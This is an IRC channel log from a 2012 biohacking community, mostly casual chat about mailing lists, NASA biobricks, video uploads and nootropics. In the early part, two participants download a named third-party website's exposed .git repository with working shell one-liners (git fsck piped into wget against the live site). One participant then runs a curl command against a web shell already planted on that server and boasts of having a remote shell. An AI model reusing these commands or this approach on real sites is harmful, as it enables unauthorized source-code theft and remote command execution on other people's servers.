11:20 < jrayhawk> well, you don't seem to be traversing the objects by hand
11:21 < jrayhawk> so presumably you ran a command
11:21 < kanzure> http://diyhpl.us/~bryan/irc/acs/gitrepo.zip if anyone wants to "play along at home"
11:21 < kanzure> well, i'm trying various normal things like "git log", "git log -p", "git show commit-id", etc.
11:22 < kanzure> git checkout terms.html
11:22 < kanzure> error: git checkout-index: unable to read sha1 file of terms.html (132947b146054f7fc880b05f42e843e9d5f5d718
11:22 < kanzure> ok i seem to not have that object. when i fetch that object, "git checkout terms.html" works and i get a file.
11:24 < kanzure> so presumably there should be some way to get a list of objects i'm missing
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11:57 < jrayhawk> git fsck
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12:07 < jrayhawk> so, procedure would be something like git fsck | head to make sure there are no showstoppers, then
12:07 < jrayhawk> for REF in $(git fsck 2>&1 | perl -pe 's/.+([0-9a-f]{40}).*/\1/'); do export PATHREF=$(echo $REF | perl -pe 's/(.{2})(.{38})/\1\/\2/'); if ! [ -e .git/objects/$PATHREF ]; then mkdir -p .git/objects/$(echo $PATHREF | perl -pe 's/(..).+/\1/'); wget -c -O .git/objects/$PATHREF http://www.acswhyi.com/.git/objects/$PATHREF; fi; done
12:08 < kanzure> you take the fun out of everything
12:08 < kanzure> I WAS GOING TO GET TO IT
12:08 < kanzure> heheh.
12:09 < kanzure> it's going.
12:10 < jrayhawk> i guess i should've put a sort -u in there
12:10 < kanzure> screw this guy for including an 80 MB images.tar.gz, bwt
12:10 < kanzure> *btw
12:11 < jrayhawk> and i should construct all those URLs and shove them into a temp file for a persistent http client
12:11 < jrayhawk> does wget or curl do connection persistance?
12:11 < jrayhawk> persistence
12:12 < kanzure> it's ok i found this:
12:12 < kanzure> curl http://acswhyi.com/plupload/examples/uploads/shell2.php?c=ls%20-la
12:12 < jrayhawk> apparently wget does
12:12 < jrayhawk> ahahaha
12:12 < kanzure> someone's been here before methinks
12:13 < jrayhawk> man, that hurts a little
12:13 < kanzure> the other day i was poking around in someone's images/ directory
12:13 < kanzure> and found a .svn folder
12:13 < kanzure> this is where i got the idea from.
12:14 < jrayhawk> welp, pretty easy to get a tar file for the entire filesystem from there, so i guess i should give up on the git thing
12:14 < kanzure> i don't see anything interesting, sadly
12:17 < kanzure> thanks for git fsck :\
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12:32 < nmz787> what's a .DS store file?
12:32 < jrayhawk> either Finder or Explorer metadata; i forget which
12:32 < kanzure> mac osx leaves .DS_Store around for pre-rendered icons and other crap
12:33 < jrayhawk> ah, Finder
12:33 < kanzure> and people forget to remove that file when uploading compressed archives or using git
12:33 < nmz787> did you find anything?
12:33 < kanzure> well i have their source code for that site now
12:33 < kanzure> and a shell into the remote server, apparently..
12:34 < kanzure> jrayhawk: i still get "fatal: unable to read tree 558dbf9ac387a56b529ac68a540ade8e27eb5bf1" when i run "git checkout master" and "git fsck" still lists things (lots of trees)
12:34 < kanzure> and broken links between trees/blobs
12:35 < jrayhawk> Yeah, you'll have to run it in a loop until you traverse back to the original commit.
12:35 < jrayhawk> you can't possibly know what objects to download until you've downloaded the objects referencing them.
12:36 < kanzure> hm yeah i was wondering why i wasn't getting "file already downloaded" errors. i see.
12:36 < jrayhawk> well, and I do a [ -e ]
12:36 < kanzure> eh i was manually doing a few wgets in between
12:37 < jrayhawk> apparently -P does nothing. thanks wget.
12:37 < kanzure> i think this is a candidate for the tom lehrer git song
12:37 < kanzure> "the new git"
12:37 < kanzure> "you can't take blob from tree so you look into the reflog and you get 648dbf9ac387a56b529ac68a540ade8e27eb5bf1"
12:41 < JayDugger> Lehrer's The Elements at https://github.com/jedp/The-Elements
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12:43 < kanzure> not bad.
12:51 < jrayhawk> this is probably somewhat faster:
12:51 < jrayhawk> for REF in $( git fsck 2>&1 | perl -pe 's/.+([0-9a-f]{40}).*/\1/' | sort -u ); do export PATHREF=$( echo $REF | perl -pe 's/(.{2})(.{38})/\1\/\2/' ); if ! [ -e .git/objects/$PATHREF ]; then mkdir -p .git/objects/$( echo $PATHREF | perl -pe 's/(..).+/\1/' ); echo http://www.acswhyi.com/.git/objects/$PATHREF; fi; done | wget -x -c -nH -i -
12:54 < jrayhawk> it's really dumb that git is unwilling to do that on its own.
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12:56 < kanzure> yeah it's been done for a while, sorry i wasn't explicit about that
13:04 < kanzure> https://github.com/fathomcreative?tab=activity
13:08 < kanzure> oh man this same thing shows up on their other sites
13:08 < kanzure> fantastic.
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13:16 < Juul> what's this fathom creative thing?
13:19 < Juul> ah, i see they have some interesting clients
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13:21 < kanzure> one of them is a "security company".. pfft
13:38 < kanzure> these people are the worst http://paxton.com/_attachments/docs/services/team%20paxton.pdf
13:38 < kanzure> oh wait that's not the developers
13:39 < kanzure> http://paxton.com/htaccess.txt
13:50 < Juul> i feel like listening to chip music in a hammock and watching someone play ikaruga while i code
13:50 < Juul> good thing it's almost weekend
13:54 < kanzure> you have excellent choice in gaming
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13:58 < brownies> ah, man. that game was well-designed.
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14:08 < Juul> :)
14:09 < Juul> i used to have an old crt tv that was permanently on its side for that reason back in my office in denmark
14:16 < kanzure> ybit is our resident chiptune expert, so bug him for stuff
14:17 < Juul> cool
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15:39 < kanzure> http://developer.chrome.com/extensions/experimental.devtools.audits.html
15:40 < kanzure> http://darcyclarke.me/design/skin-your-chrome-inspector/
15:41 < kanzure> "ir black" skin https://gist.github.com/1150520
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15:52 < skorket> evening all
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16:07 < streety> evening
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16:29 < skorket> that rosalind sight's pretty neat
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16:53 < kanzure> "Nasa plans to use biobricks and urine to build homes on Mars
16:53 < kanzure> .. how? do they have a license?
16:53 < yashgaroth> I bet the nasa igem team is pretty competitive
16:54 < kanzure> i bet it's just john cumbers. a team of one.
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17:11 < kanzure> http://en.wikipedia.org/wiki/List_of_DNA_tested_mummies
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18:06 < nmz787> kanzure: video is in my home dir
18:06 < nmz787> .3gp
18:06 < nmz787> i moved it to my files folder
18:11 < kanzure> hmm one sec
18:11 < kanzure> nmz787: title?
18:11 < kanzure> nmz787: also: summary?
18:12 < brownies> kanzure: wtf? o.O
18:12 < kanzure> brownies: ?
18:13 < brownies> kanzure: nasa is building homes on mars?
18:14 < kanzure> i quoted the title because it was ridiculous. biobricks aren't available to anyone who wants them, and homes on mars is only mildly less plausible.
18:15 < brownies> kanzure: source?
18:16 < kanzure> source for what?
18:18 < kanzure> wtf is a devkey? why does googlecl require that all of the sudden.
18:20 < nmz787> kanzure: biobricks are available as txt now
18:20 < nmz787> title: Intro to DNA, DNA synthesis, and microfluidics
18:21 < nmz787> summary:
18:21 < nmz787> Nathan McCorkle speaking at Genspace on Thursday October 4th 2012. Hosted by Genspace and Biohackers-NYC Meetup.com group.
18:21 < nmz787> genspace.org
18:21 < nmz787> www.meetup.com/Biohackers-NYC/
18:21 < nmz787> Also see:
18:21 < nmz787> Classical and Quantum Information in DNA (Google Workshop on Quantum Biology)
18:21 < nmz787> http://www.youtube.com/watch?v=2nqHOnVTxJE
18:21  * pasky cheers kanzure on his push against google groups
18:21 < kanzure> pasky: i think they should shoot whoever fucked up their url schema
18:21 < kanzure> they had perfectly beautiful urls before
18:21 < kanzure> and if the email appeared on more than one mailing list, the urls would share the same thread id :)
18:22 < pasky> i never actually used the google groups web interface... in the few cases i've been involved, i just try to use them as mailinglist subscription interfaces
18:23 < pasky> that said, some smart+pretty layer over mailman for people not so used to email would be awesome... hmm, maybe i should offer that as a student project
18:24 < kanzure> mailman's codebase is pretty bad, if you go look
18:24 < nmz787> what happened with google groups?
18:24 < kanzure> nmz787: the hackerspaces foundation was thinking of transitioning to google groups instead of their mailing list server
18:25 < kanzure> but i told them they probably shouldn't, since google has been screwing up their google groups product a lot, and a lot of the mailing list features have been given the finger..
18:25 < nmz787> ahh
18:25 < brownies> kanzure: source for your quote
18:26 < brownies> you know, the thing we were talking about when i said "source"
18:26 < jrayhawk> pasky: sympa is sorta decent for providing an unintimidating web interface
18:26 < jrayhawk> and having better features and scalability than mailman
18:26 < kanzure> brownies: it's a news site, and i'm ashamed to link to news sites.
18:26 < jrayhawk> the codebase is waaaaay more horrifying, though, which is saying something
18:27 < kanzure> brownies: http://www.wired.co.uk/news/archive/2012-10/05/mars-bacteria-bricks
18:27 < kanzure> yeah, a lot of mailing list software seems to suck pretty hard
18:27 < jrayhawk> i want an nntp/web/email system
18:27 < jrayhawk> alue is close
18:27 < kanzure> and i'm super tired of hearing the "mailing lists vs. forums" flamewars. when people provide a mail2forum gateway, it turns out those asshole users don't even use the forum.
18:28 < brownies> uh ... hmmm ...
18:28 < nmz787> lol
18:28 < brownies> is it really a bright idea to throw a bajillion microbes onto a new planet?
18:28 < kanzure> people /might/ be using the google groups web interface, but i have no godly idea why. why would i want to edit my content in a browser?
18:28 < nmz787> brownies: why not
18:28 < kanzure> brownies: bah no better way to learn than to fuck up a planet
18:28 < brownies> you know, delicate balance of Mother Earth and all that shit
18:28 < nmz787> kanzure: you edit email in a browser dont you
18:28 < brownies> or, Aunt Mars, in this case
18:29 < kanzure> nmz787: only sometimes.
18:29 < nmz787> kanzure: i do exclusively
18:29 < kanzure> nmz787: because you're crazy like that.
18:29 < kanzure> you're more able to tolerate bullshit than i am, i think
18:29 < nmz787> i already have browsers open, why not one more
18:29 < kanzure> you also tolerate windows, for instance.
18:29 < nmz787> does that article have to do with john cumbers kanzure?
18:30 < nmz787> because who else at NASA would mention 'biobrick'
18:30 < kanzure> no it's not about john cumbers, but yeah he's the only guy at nasa i can think of
18:31 < kanzure> why isn't there a nasa mascot?
18:31 < kanzure> it could be a little space alien or something
18:32 < kanzure> and it could cheer at  launch events
18:32 < jrayhawk> kanzure: if'n you ever want, i can slap up sympa vhosts pretty fast these days
18:32 < jrayhawk> so diyhpl.us and friends can have mailing lists
18:32 < kanzure> i was just going to wait until you roll it into piny
18:32 < jrayhawk> ah
18:32 < jrayhawk> that thing i should've done years ago
18:34 < kanzure> communication isn't a bottleneck that diyhpl.us is currently experiencing
18:35 < kanzure> http://povesham.wordpress.com/2012/10/05/biohacking-igem-and-the-limits-of-citizen-science/
18:35 < kanzure> http://hplusmagazine.com/2012/10/05/biopunk-and-biohacking-status-update/
18:36 < nmz787> kanzure: you should cross-post this http://www.disneyresearch.com/research/projects/PrintedOptics/printedoptics-paper.pdf
18:37 < nmz787> that first link really doesnt seem to mention anything about limits
18:38 < nmz787> jrayhawk: any tips for where I can look for part-time work in pdx?
18:38 < nmz787> or preferably wash co
18:38 < nmz787> other than craigslist
18:39 < nmz787> i think i'll try walking into genentech
18:39 < kanzure> bkero: how were you choosing to re-encode those videos earlier? some mencoder flags?
18:39  * nmz787 'hi i'm a crazy mad scientist type'
18:40 < brownies> what kind of work nmz787 ?
18:41 < gnusha> diyhpluswiki.git: a3c183a two more articles on biohacking
18:41 < kanzure> nmz787: ok i stored a copy http://diyhpl.us/~bryan/papers2/Printed%20optics%20-%203d%20printing%20for%20embedded%20optical%20elements%20for%20interactive%20devices.pdf
18:42 < nmz787> brownies: anything from bio/chem to digging/repairing hiking trail
18:43 < nmz787> I don't think I'm burly enough to become a logger, and I don't think jobs like that would be so close to home
18:43 < nmz787> I could also do computer stuff, but I don't want to be some sys admin, it would have to be EE related or machine vision/learning related
18:44 < nmz787> or just general electronics tech
18:44 < brownies> -_-
18:45 < brownies> clearly you should engineer a robot that uses computer-vision to spray out a stream of genetically engineered bacteria that can clean hiking trails.
18:45 < nmz787> :D
18:47 < bkero> kanzure: for inputfile in *.mov; do mencoder $inputfile -ovc x264 -oac mp3lame -o ${inputfile/mov/m4v}; done
18:47 < bkero> 1.1gb to 129mb
18:49  * kanzure pushes some bits around
18:50 < nmz787> kanzure: its already H264
18:50 < nmz787> the video i uploaded
18:51 < nmz787> 720P H.264, should upload fine to youtube, if >15 mins files are enabled for your account
18:54 < kanzure> your video is still being uploaded. googlecl's --verbose isn't very verbose and i can't tell if it's done uploading and just hanging, or not. :(
18:57 < brownies> do not question the mighty google
18:58 < kanzure> apparently google axed official maintainership of it http://code.google.com/p/googlecl/
18:58 < kanzure> and now it's just some poor sap's 20% time
18:58 < nmz787> did it give you a link?
18:59 < kanzure> iirc it doesn't give a link. my youtube dashboard on the web is showing the video though. it's "being processed".
18:59 < nmz787> ahh, ok
18:59 < nmz787> it shows that while uploading too
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19:44 < kanzure> nmz787: http://www.youtube.com/watch?v=b6zpEyDvdRA
19:45 < kanzure> dunno when it finished.. i should have prefixed that googlecl command with 'time'.
19:54 < nmz787> hey its not in 720
19:54 < nmz787> u got it wrong
19:54 < kanzure> it's the exact version you gave me
19:54 < nmz787> nah man
19:54 < kanzure> youtube might still be "processing" the video. whatever that means :)
19:55 < nmz787> 1280x720
19:55 < nmz787> hmm
19:56 < nmz787> hey can you edit the summary and title
19:56 < nmz787> to the ones I sent you earlier
19:56 < nmz787> there were links and stuff
19:57 < kanzure> okay. the wording up there at the moment was just the stuff i passed through the command line originally.
19:59 < kanzure> Nathan McCorkle talks about DIY DNA synthesis at Genspace amongst some biohackers, I guess.
20:01 < kanzure> ok updated
20:06 < kanzure> oops. why did i paste that?
21:17 < nmz787> cool it's in 720P now
21:18 < kanzure> the system works!
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21:22 < kanzure> "Branislav Misovic has subscribed to you on YouTube"
21:22 < kanzure> nmz787: who is this person
21:37 < kanzure> "and work by a South Korean cloning expert who later was convicted in court of embezzlement and illegally buying human eggs for research"
21:37 < kanzure> does anyone have a link to the court docs for that one?
21:37 -!- marainein [~net@2001:388:608c:6cb5:d975:5bd1:4d9b:c014] has quit [Remote host closed the connection]
21:37 < kanzure> and just because some jerk will ask, that quote is from http://www.washingtonguardian.com/study-fraud-growing-scientific-research-papers
21:38 < kanzure> i think this was hwang wosilk or something. i can't remember.
21:39 < kanzure> http://en.wikipedia.org/wiki/Hwang_Woo-suk
21:39 < kanzure> baller "However, the project was canceled when civil war started there.[6]"
21:42 < yashgaroth> because when I think cutting-edge stem cell research, I think libya
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21:53 < kanzure> user123abc: hi
21:53 < user123abc> hi there
21:56 < nmz787> kanzure: dunno who he is, he maybe on thr meetup.com biohsckers nyc group
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22:04 < kanzure> ronsunrise: hi
22:04 < ronsunrise> hi, first time in here
22:05 < kanzure> welcome. what brings you here?
22:07 < ronsunrise> just looking for new ideas i guess.
22:07 < kanzure> we're fresh out of those.
22:08 < ronsunrise> what is the best quality nootropic i can get?
22:08 < ronsunrise> i took piracetam awhile back
22:10 < Mokstar> NZT-48
22:10 < kanzure> Mokstar: not helpful
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22:16 < Mokstar> Sorry :(
22:17 < Mokstar> A bit tired of noot-noobs not doing any sort of research.
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22:39 < Phagus> Nice, H+ has maintained its IRC presence.
22:51 < kanzure> hardly.
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22:51 < kanzure> what is it with these people today
22:52 < user123abc> hey, I'm still here
22:52 < kanzure> you'll probably leave me like everyone else
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23:14 < JayDugger> Nonsense. You can't escape the permanent reunion of Facebook.
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23:17 < skorket> :(
23:19 < JayDugger> Hmm...Keith Lofstrom keeps working on ServerSky and launch loops.
23:20 < JayDugger> (No answer yet from Patrick Gunkel. Snail mail might not have worked.)
23:21 < JayDugger> "Optimism is a fundraising tool, not an engineering material."
23:23 < JayDugger> On the other hand, Lofstrom also wrote "I can't tell you how much a launch loop will cost, but I can tell you how to make hundreds of billions of dollars developing the technologies that will lead to it. "
23:28 < JayDugger> A few paragraphs in, Lofstrom says "Nuclear power frightens people." Later, in the same NBF interview he discusses space-based solar power. (Yeah, as if that won't scare the timid.)
23:35 < Mokstar> I like the roving death beam one
23:36 < JayDugger> Yeah...power density matters.
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--- Log closed Sat Oct 06 00:00:47 2012